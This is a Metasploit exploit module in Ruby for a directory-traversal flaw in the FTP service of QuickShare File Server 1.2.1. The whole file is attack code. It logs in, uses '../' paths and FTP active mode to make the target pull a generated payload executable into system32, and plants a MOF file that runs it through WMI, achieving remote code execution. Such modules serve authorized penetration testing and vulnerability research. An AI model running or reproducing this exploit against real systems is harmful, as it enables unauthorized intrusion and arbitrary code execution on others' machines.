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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Ftp
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  include Msf::Exploit::Remote::TcpServer
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  include Msf::Exploit::EXE
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  include Msf::Exploit::WbemExec
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",
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      'Description'    => %q{
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          This module exploits a vulnerability found in QuickShare File Server's FTP
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        service.  By supplying "../" in the file path, it is possible to trigger a
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        directory traversal flaw, allowing the attacker to read a file outside the
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        virtual directory.  By default, the "Writable" option is enabled during account
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        creation, therefore this makes it possible to create a file at an arbitrary
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        location, which leads to remote code execution.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'modpr0be', #Discovery, PoC
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          'sinn3r'    #Metasploit
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '70776'],
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          ['EDB', '16105'],
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          ['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
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          ['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00"
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['QuickShare File Server 1.2.1', {}]
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        ],
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      'Stance' => Msf::Exploit::Stance::Aggressive,
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-02-03',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        # Change the default description so this option makes sense
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        OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
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      ])
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  end
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  def check
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    connect
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    disconnect
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    if banner =~ /quickshare ftpd/
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      return Exploit::CheckCode::Detected
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def on_client_connect(cli)
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    peer = "#{cli.peerhost}:#{cli.peerport}"
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    case @stage
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    when :exe
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      print_status("Sending executable (#{@exe.length.to_s} bytes)")
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      cli.put(@exe)
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      @stage = :mof
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    when :mof
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      print_status("Sending MOF (#{@mof.length.to_s} bytes)")
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      cli.put(@mof)
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    end
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    cli.close
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  end
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  def upload(filename)
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    select(nil, nil, nil, 1)
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    peer = "#{rhost}:#{rport}"
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    print_status("Trying to upload #{::File.basename(filename)}")
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    # We can't use connect_login, because it cannot determine a successful login correctly.
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    # For example: The server actually returns a 503 (Bad Sequence of Commands) when the
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    # user has already authenticated.
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    conn = connect(false, datastore['VERBOSE'])
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    res = send_user(datastore['FTPUSER'], conn)
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    if res !~ /^(331|2)/
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      fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")
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    end
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    res = send_pass(datastore['FTPPASS'], conn)
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    if res !~ /^(2|503)/
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      fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")
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    end
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    # Switch to binary mode
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    print_status("Set binary mode")
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    send_cmd(['TYPE', 'I'], true, conn)
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    # Prepare active mode: Get attacker's IP and source port
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    src_ip   = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
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    src_port = datastore['SRVPORT'].to_i
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    # Prepare active mode: Convert the IP and port for active mode
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    src_ip   = src_ip.gsub(/\./, ',')
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    src_port = "#{src_port/256},#{src_port.remainder(256)}"
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    # Set to active mode
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    print_status("Set active mode \"#{src_ip},#{src_port}\"")
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    send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
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    # Tell the FTP server to download our file
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    send_cmd(['STOR', filename], false, conn)
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    disconnect(conn)
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  end
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  def exploit
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    trigger  = '../../../../../../../../'
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    exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
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    mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"
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    @mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
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    @exe      = generate_payload_exe
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    @stage = :exe
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    begin
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      t = framework.threads.spawn("reqs", false) {
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        begin
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          # Upload our malicious executable
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          u = upload(exe_name)
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          # Upload the mof file
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          upload(mof_name) if u
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        rescue ::Exception => e
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          print_error e.message
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          cleanup
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        end
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      }
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      super
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    ensure
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      t.kill
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    end
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  end
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end
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